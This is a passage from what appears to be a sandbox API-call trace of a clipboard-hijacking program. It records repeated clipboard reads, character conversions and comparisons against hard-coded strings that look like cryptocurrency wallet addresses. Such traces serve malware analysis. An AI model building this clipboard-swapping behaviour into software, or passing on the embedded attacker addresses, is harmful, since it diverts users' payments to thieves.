lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.698] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.698] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.698] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.698] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.698] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.698] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.698] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.698] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.698] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0054.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0054.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0054.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0054.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0054.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0054.700] Sleep (dwMilliseconds=0x64) [0054.813] GetOpenClipboardWindow () returned 0x0 [0054.813] OpenClipboard (hWndNewOwner=0x0) returned 1 [0054.813] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0054.813] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0054.814] GlobalSize (hMem=0x6069b8) returned 0x42 [0054.814] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0054.814] GlobalUnlock (hMem=0x6069b8) returned 1 [0054.814] CloseClipboard () returned 1 [0054.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.817] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.817] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.817] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.817] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.817] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0054.817] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0054.817] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0054.817] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, 